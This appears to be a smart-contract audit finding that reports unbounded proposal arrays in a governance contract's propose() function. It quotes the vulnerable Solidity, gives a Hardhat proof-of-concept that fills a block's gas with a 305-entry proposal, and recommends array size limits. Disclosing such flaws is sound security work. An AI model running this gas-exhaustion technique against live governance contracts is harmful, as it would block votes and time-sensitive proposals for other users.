Summary
The governance contract’s propose() accepts an unbounded number of targets, values, and calldatas. An attacker with sufficient voting power can create a proposal that includes extraordinarily large arrays. When the contract processes such a bloated proposal (e.g., to compute its state, queue it, or execute it), it must copy and iterate over these massive arrays, significantly increasing gas usage. This can push proposal transactions beyond the block gas limit, effectively blocking or delaying legitimate proposals in the same block.
Vulnerability Details
Root Cause: The contract does not enforce upper limits on the size of proposal arrays (targets, values, calldatas) or proposal descriptions.
Functions like state() and _executeProposal() must copy/iterate over the entire array data in memory, compounding the gas cost in proportion to array size.
Code snippet (Governance.sol):
function propose(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
string memory description,
ProposalType proposalType
) external override returns (uint256) {
uint256 proposerVotes = _veToken.getVotingPower(msg.sender);
if (proposerVotes < proposalThreshold) {
revert InsufficientProposerVotes(msg.sender, proposerVotes, proposalThreshold, "Below threshold");
}
if (targets.length == 0 || targets.length != values.length || targets.length != calldatas.length) {
revert InvalidProposalLength(targets.length, values.length, calldatas.length);
}
uint256 proposalId = _proposalCount++;
uint256 startTime = block.timestamp + votingDelay;
uint256 endTime = startTime + votingPeriod;
_proposals[proposalId] = ProposalCore({
id: proposalId,
proposer: msg.sender,
proposalType: proposalType,
startTime: startTime,
endTime: endTime,
executed: false,
canceled: false,
descriptionHash: keccak256(bytes(description)),
targets: targets,
values: values,
calldatas: calldatas
});
_proposalData[proposalId] = ProposalData(targets, values, calldatas, description);
emit ProposalCreated(proposalId, msg.sender, targets, values, calldatas, description, proposalType, startTime, endTime, proposerVotes);
return proposalId;
}
PoC:
Note we are deploying the real VeRAACToken and RAACToken for this PoC.
Step1: Paste the following into the beforeEach block of Governance.test.js:
let realVeToken, RAACToken;
const RAACTokenFactory = await ethers.getContractFactory(
"RAACToken",
owner
);
RAACToken = await RAACTokenFactory.deploy(owner.address, 100, 50);
await RAACToken.waitForDeployment();
const VeRAACToken = await ethers.getContractFactory("veRAACToken");
realVeToken = await VeRAACToken.deploy(RAACToken.target);
await realVeToken.waitForDeployment();
Step2: Modify the deployment of governance (include address of real veRAACToken):
const Governance = await ethers.getContractFactory("Governance");
governance = await Governance.deploy(
await realVeToken.getAddress(),
await timelock.getAddress()
);
await governance.waitForDeployment();
Step3: Ensure the block gas limit is set to 30_000_000 in hardhat.config.js.
Step 4: Paste the describe block into Governance.test.js:
describe.only("Governance Proposal Array Bloat PoC", function () {
const ONE_DAY = 24 * 3600;
const ONE_YEAR = 365 * ONE_DAY;
async function lockTokens(user, amount, duration) {
await RAACToken.connect(user).approve(realVeToken.target, amount);
await realVeToken.connect(user).lock(amount, duration);
}
async function waitForReceipt(txHash, timeout = 60000) {
const start = Date.now();
while (Date.now() - start < timeout) {
const receipt = await ethers.provider.getTransactionReceipt(txHash);
if (receipt !== null) {
return receipt;
}
await new Promise((resolve) => setTimeout(resolve, 1000));
}
throw new Error("Timeout waiting for receipt");
}
it("should simulate DOS by including a bloated proposal in one block, preventing a legitimate proposal from being mined", async function () {
const lockAmount = ethers.parseEther("6000000");
await RAACToken.connect(owner).setMinter(owner.address);
await RAACToken.connect(owner).mint(user1.address, lockAmount);
await lockTokens(user1, lockAmount, ONE_YEAR);
const hugeArraySize = 305;
const targets = [];
const values = [];
const calldatas = [];
for (let i = 0; i < hugeArraySize; i++) {
targets.push(user1.address);
values.push(1);
calldatas.push("0x");
}
const description = "Proposal with huge arrays to test gas limits!";
const bloatedTxPromise = governance.connect(user1).propose(
targets,
values,
calldatas,
description,
0
);
const bloatedTx = await bloatedTxPromise;
const bloatedReceipt = await waitForReceipt(bloatedTx.hash);
console.log(
"Bloated proposal gas used:",
bloatedReceipt.gasUsed.toString()
);
expect(bloatedReceipt.gasUsed).to.be.gt(29_900_000);
});
});
Step 3: Run with
npx hardhat test test/unit/core/Governance/proposals/Governance.test.js --show-stack-traces
Impact
DoS All Governance Functions: Even though the attacker's bloated proposal only affects the transactions in that particular block, it can have serious implications. If nearly all of the block's gas is consumed by the bloated proposal, other essential transactions—such as casting votes or executing proposals — could be blocked from being included in that block. This effectively creates a denial-of-service scenario for governance actions in that block.
Time sensitive transactions can be DOSed (proposal that is close in votes and near the time limit)
Gas Limit Pressure: Excessive array sizes can cause the governance proposal to fill a block’s gas limit, preventing other transactions (including legitimate proposals) from being processed that block.
Delayed / Blocked Proposals: Time‐sensitive proposals might be pushed to later blocks or fail due to out‐of‐gas errors.
Unnecessary State Bloat:
Tools Used
Manual review
Recommendations
Impose Size Limits on Arrays:
Require that targets, values, and calldatas arrays stay under a defined maximum length, ensuring the gas cost for any single proposal cannot dominate a block.